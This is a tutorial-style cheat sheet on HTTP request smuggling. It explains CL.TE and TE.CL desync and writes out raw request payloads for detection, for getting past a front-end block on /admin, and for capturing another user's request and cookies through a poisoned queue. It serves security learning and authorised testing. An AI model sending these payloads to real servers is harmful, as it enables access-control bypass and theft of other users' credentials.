HTTP Request Smuggling

HTTP Request Smuggling exploits discrepancies in how front-end (proxy/CDN) and back-end servers interpret the boundary of HTTP requests. It can lead to bypassing security controls, accessing internal endpoints, and stealing credentials.

Background: Content-Length vs Transfer-Encoding

HTTP/1.1 has two ways to specify request body length:

Content-Length: 6
Body: HELLO\n

OR

Transfer-Encoding: chunked
6\r\n
HELLO\n
0\r\n
\r\n

When a front-end and back-end disagree on which header to use, one request can "smuggle" into the next.

CL.TE Smuggling

Front-end uses Content-Length, back-end uses Transfer-Encoding:

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

The front-end forwards 13 bytes (the whole body). The back-end reads 0\r\n\r\n as end of chunks, then sees SMUGGLED as the start of the next request.

TE.CL Smuggling

Front-end uses Transfer-Encoding, back-end uses Content-Length:

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end reads the chunked body (8 bytes + terminator). Back-end reads only 3 bytes (8\r\n), leaving SMUGGLED\r\n0\r\n\r\n as the start of the next request.

Detecting Smuggling (Time-Based)

CL.TE test

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

If response is delayed → CL.TE vulnerable (back-end waiting for more chunks after seeing X as start of next chunk size).

TE.CL test

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

If response is delayed → TE.CL vulnerable (back-end waiting for Content-Length: 6 to be fulfilled).

Exploiting: Bypass Front-End Security Controls

If the front-end blocks access to /admin:

POST / HTTP/1.1
Host: target.com
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

The GET /admin becomes the start of the next request, bypassing the front-end check.

Exploiting: Steal Another User's Request

Poison the request queue to capture another user's full request (including cookies):

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
data=

The next user's request gets appended to data= and sent to /capture - you control /capture and can read the stolen request.

Automated Testing: Burp Suite

Burp Suite Professional has a built-in HTTP Request Smuggler extension:

1. Install "HTTP Request Smuggler" from BApp Store
2. Right-click any request → Extensions → HTTP Request Smuggler → Launch
3. Burp automatically tests CL.TE, TE.CL, and variations

h2c Upgrade Attacks (HTTP/2 → HTTP/1.1)

Some modern applications use HTTP/2 front-ends with HTTP/1.1 backends. The Upgrade: h2c header can trigger a protocol switch that enables smuggling.

Checklist

• Identify if there's a proxy/CDN in front (X-Forwarded-For, Via headers)
• Test CL.TE: send request with both CL and TE, check for delay
• Test TE.CL: similar probe with reversed priority
• Confirm with reflected response showing smuggled prefix
• Bypass: smuggle GET to restricted endpoint
• Data capture: smuggle POST to harvest next user's request
• Use Burp "HTTP Request Smuggler" extension for automation
• PortSwigger Web Academy has excellent lab-based practice

Last updated on Aug 1, 2025